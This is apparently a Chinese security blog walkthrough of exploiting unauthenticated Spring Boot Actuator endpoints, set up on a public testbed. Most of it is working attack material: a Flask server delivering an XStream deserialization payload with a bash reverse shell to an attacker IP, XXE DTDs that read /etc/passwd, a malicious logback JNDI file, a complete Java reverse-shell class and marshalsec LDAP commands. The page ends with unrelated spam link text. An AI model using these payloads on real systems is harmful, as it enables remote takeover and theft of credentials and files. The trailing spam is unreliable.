1. Spring Boot Actuator 未授權(quán)訪問利用實(shí)戰(zhàn)利用

        共 8487字,需瀏覽 17分鐘

         ·

        2021-06-27 06:18

        作者:Ca1y0n  編輯:白帽子社區(qū)運(yùn)營(yíng)團(tuán)隊(duì)




            "白帽子社區(qū)在線CTF靶場(chǎng)BMZCTF,歡迎各位在這里練習(xí)、學(xué)習(xí),BMZCTF全身心為網(wǎng)絡(luò)安全賽手提供優(yōu)質(zhì)學(xué)習(xí)環(huán)境,鏈接(http://www.bmzclub.cn/)

        "    




        前言:

        Actuator是spring boot提供的用來對(duì)應(yīng)用系統(tǒng)進(jìn)行自省和監(jiān)控的功能模塊,借助于 Actuator 開發(fā)者可以很方便地對(duì)應(yīng)用系統(tǒng)某些監(jiān)控指標(biāo)進(jìn)行查看、統(tǒng)計(jì)等。如果沒有做好相關(guān)權(quán)限控制,非法用戶可通過訪問默認(rèn)的執(zhí)行器端點(diǎn)(endpoints)來獲取應(yīng)用系統(tǒng)中的監(jiān)控信息。Actuator配置不當(dāng)會(huì)導(dǎo)致未授權(quán)訪問獲取網(wǎng)站相關(guān)配置甚至RCE


        所有端點(diǎn)皆可以在org.springframework.boot.actuate.endpoint中找到表達(dá)的含義

        /beans: 查看上下文里全部的javabean/env: 獲取全部的環(huán)境屬性,可以找到相關(guān)的網(wǎng)站數(shù)據(jù)配置的賬號(hào)密碼/metrics: 獲取報(bào)告各種應(yīng)用程序度量信息/trace: 提供基本的 HTTP 請(qǐng)求跟蹤信息,可獲取用戶認(rèn)證字段信息/health: 報(bào)告程序健康指數(shù),在其中可能找到git地址/dump: 獲取線程活動(dòng)的快照/heapdump: 獲取JVM堆棧信息,經(jīng)常可以從里面找到登錄的賬號(hào)密碼之類的/logger: 展示了應(yīng)用中可配置的loggers列表和相關(guān)日志等級(jí)/restart: 重啟應(yīng)用

        注:

        Spring1.x 在url跟路徑下進(jìn)行注冊(cè),在2.x版本中移動(dòng)到/actuator的路徑下

        Spring1.x與2.x在post請(qǐng)求方面也存在差異,1.x通過application/x-www-form-urlencoded 進(jìn)行post請(qǐng)求,2.x通過傳遞json包請(qǐng)求的applistion/json


        一、環(huán)境搭建

        環(huán)境準(zhǔn)備:JDK 1.8 or later and Maven 3.2+

        下載環(huán)境源碼

        git clone https://github.com/veracode-research/actuator-testbed.gitcd actuator-testbed

        修改監(jiān)聽端口

        src/main/resources/application.properties server.address=0.0.0.0mvn install

        啟動(dòng)服務(wù)

        java -jar  ./target/actuator-testbed-0.1.0.jar

        訪問

        http://IP:8090


        這里訪問env就可以看到未授權(quán)訪問的一些信息


        二、漏洞復(fù)現(xiàn)

        0x01:

        Eureka服務(wù)漏洞需要存在兩個(gè)包

        spring-boot-starter-actuator(/refresh刷新配置需要)
        spring-cloud-starter-netflix-eureka-client(功能依賴)

        Eureka-Client<1.8.7,eureka服務(wù)多用于netflix組件中,可通過在< span="">/env中搜尋Netflix關(guān)鍵字判斷時(shí)候可能存在Eureka服務(wù)

        Eureka服務(wù)屬性被設(shè)置為惡意的外部 Eureka server URL 地址時(shí),通過/refresh會(huì)觸發(fā)目標(biāo)機(jī)器請(qǐng)求遠(yuǎn)程URL,Eureka server URL可通過在/env處POST數(shù)據(jù)進(jìn)行更改

        使用python 在服務(wù)器上搭建一個(gè)響應(yīng)XStream payload的Web服務(wù),代碼如下:

        Payload.py#!/usr/bin/env python# coding: utf-8
        from flask import Flask, Response
        app = Flask(__name__)
        @app.route('/', defaults={'path':''})@app.route('/<path:path>',methods=['GET','POST'])

        def catch_all(path): xml = """<linked-hash-set> <jdk.nashorn.internal.objects.NativeString> <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"> <dataHandler> <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"> <is class="javax.crypto.CipherInputStream"> <cipher class="javax.crypto.NullCipher"> <serviceIterator class="javax.imageio.spi.FilterIterator"> <iter class="javax.imageio.spi.FilterIterator"> <iter class="java.util.Collections$EmptyIterator"/> <next class="java.lang.ProcessBuilder"> <command> <string>/bin/bash</string> <string>-c</string> <string>bash -i >&amp; /dev/tcp/192.168.2.130/1234 0>&amp;1</string> </command> <redirectErrorStream>false</redirectErrorStream> </next> </iter> <filter class="javax.imageio.ImageIO$ContainsFilter"> <method> <class>java.lang.ProcessBuilder</class> <name>start</name> <parameter-types/> </method> <name>foo</name> </filter> <next class="string">foo</next> </serviceIterator> <lock/> </cipher> <input class="java.lang.ProcessBuilder$NullInputStream"/> <ibuffer></ibuffer> </is> </dataSource> </dataHandler> </value> </jdk.nashorn.internal.objects.NativeString></linked-hash-set>""" return Response(xml, mimetype='application/xml')

        if __name__ == "__main__": app.run(host='0.0.0.0', port=80)

        發(fā)送POST請(qǐng)求

        eureka.client.serviceUrl.defaultZone=http://192.168.2.130/test

        刷新配置

        POST /refresh

        Vps開啟監(jiān)聽獲取反彈shell

        注:該漏洞的成功利用與jdk版本有關(guān),此處用的是1.8.0_161


        0x02

        Jolokia 漏洞

        XXE

        判斷是否存在jolokia插件:訪問http://ip:port/jolokia/list是否存在/jolokia/list 接口搜索關(guān)鍵字: ch.qos.logback.classic.jmx.JMXConfigurator 和  reloadByURL

        Vps創(chuàng)建xxe payload

        logback.xml<?xml version="1.0" encoding="utf-8" ?><!DOCTYPE a [ <!ENTITY % remote SYSTEM "http://192.168.2.130/filereaed.dtd">%remote;%int;]><a>&trick;</a>
        讀取文件內(nèi)容,創(chuàng)建文件fileread.dtd<!ENTITY % d SYSTEM "file:///etc/passwd"> <!ENTITY % int "<!ENTITY trick SYSTEM ':%d;'>">

        Python開啟web服務(wù)

        Payload:

        http://靶機(jī)IP/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/攻擊機(jī)IP!/logback.xml

        JNDI RCE1

        在xxe的基礎(chǔ)上,通過遠(yuǎn)程調(diào)用惡意的xml文件進(jìn)行jndi注入,這里要注意一下java的版本信息

        在vpsc創(chuàng)建exp.xml惡意文件

          <insertfromjndi </insertfromjndienv-entry-name="ldap://vps:1389/Exploit" as="appName" />

        創(chuàng)建并編譯JNDIObject

        /** *  javac -source 1.5 -target 1.5 JNDIObject.java * *  Build By LandGrey * */
        import java.io.File;import java.io.InputStream;import java.io.OutputStream;import java.net.Socket;
        public class JNDIObject { static { try{ String ip = "your-vps-ip"; String port = "443"; String py_path = null; String[] cmd; if (!System.getProperty("os.name").toLowerCase().contains("windows")) { String[] py_envs = new String[]{"/bin/python", "/bin/python3", "/usr/bin/python", "/usr/bin/python3", "/usr/local/bin/python", "/usr/local/bin/python3"}; for(int i = 0; i < py_envs.length; ++i) { String py = py_envs[i]; if ((new File(py)).exists()) { py_path = py; break; } } if (py_path != null) { if ((new File("/bin/bash")).exists()) { cmd = new String[]{py_path, "-c", "import pty;pty.spawn(\"/bin/bash\")"}; } else { cmd = new String[]{py_path, "-c", "import pty;pty.spawn(\"/bin/sh\")"}; } } else { if ((new File("/bin/bash")).exists()) { cmd = new String[]{"/bin/bash"}; } else { cmd = new String[]{"/bin/sh"}; } } } else { cmd = new String[]{"cmd.exe"}; } Process p = (new ProcessBuilder(cmd)).redirectErrorStream(true).start(); Socket s = new Socket(ip, Integer.parseInt(port)); InputStream pi = p.getInputStream(); InputStream pe = p.getErrorStream(); InputStream si = s.getInputStream(); OutputStream po = p.getOutputStream(); OutputStream so = s.getOutputStream(); while(!s.isClosed()) { while(pi.available() > 0) { so.write(pi.read()); } while(pe.available() > 0) { so.write(pe.read()); } while(si.available() > 0) { po.write(si.read()); } so.flush(); po.flush(); Thread.sleep(50L); try { p.exitValue(); break; } catch (Exception e) { } } p.destroy(); s.close(); }catch (Throwable e){ e.printStackTrace(); } }}

        開啟jndi或者rmi服務(wù)

        java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://VPS/#JNDIObject 1389

        在vps開啟web服務(wù)

           

        替換ip請(qǐng)求觸發(fā)漏洞

        http://IP/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/your-vps-ip!/exp.xml

        獲取反彈的shell

        (如果目標(biāo)成功請(qǐng)求了example.xml 并且 marshalsec 也接收到了目標(biāo)請(qǐng)求,但是目標(biāo)沒有請(qǐng)求 JNDIObject.class,大概率是因?yàn)槟繕?biāo)環(huán)境的 jdk 版本太高,導(dǎo)致 JNDI 利用失敗。)


        漏洞原理:

        1.直接訪問可觸發(fā)漏洞的 URL,相當(dāng)于通過 jolokia 調(diào)用 ch.qos.logback.classic.jmx.JMXConfigurator 類的 reloadByURL 方法

        2.目標(biāo)機(jī)器請(qǐng)求外部日志配置文件 URL 地址,獲得惡意 xml 文件內(nèi)容

        3.目標(biāo)機(jī)器使用 saxParser.parse 解析 xml 文件 (這里導(dǎo)致了 xxe 漏洞)

        4.xml 文件中利用 logback 依賴的 insertFormJNDI 標(biāo)簽,設(shè)置了外部 JNDI 服務(wù)器地址

        5.目標(biāo)機(jī)器請(qǐng)求惡意 JNDI 服務(wù)器,導(dǎo)致 JNDI 注入,造成 RCE 漏洞


        參考:

        https://github.com/LandGrey/SpringBootVulExploit#0x03eureka-xstream-deserialization-rce
        往期精彩文章




        記一次hw行動(dòng)中的滲透測(cè)試
        docker下安全問題總結(jié)
        【題目講解】hp-RE_hyperthreading
        【題目講解】tzzzez-433MHz+oldmodem




        技術(shù)支持:白帽子社區(qū)團(tuán)隊(duì)
        — 掃碼關(guān)注我們 



        瀏覽 170
        點(diǎn)贊
        評(píng)論
        收藏
        分享

        手機(jī)掃一掃分享

        分享
        舉報(bào)
        評(píng)論
        圖片
        表情
        推薦
        點(diǎn)贊
        評(píng)論
        收藏
        分享

        手機(jī)掃一掃分享

        分享
        舉報(bào)
          
          

            1. 99豆花视频| 女人被黑人狂躁60分钟视频 | 韩国三级麻豆 | 人人草超碰 | 竹菊影视一区二区三区四区 |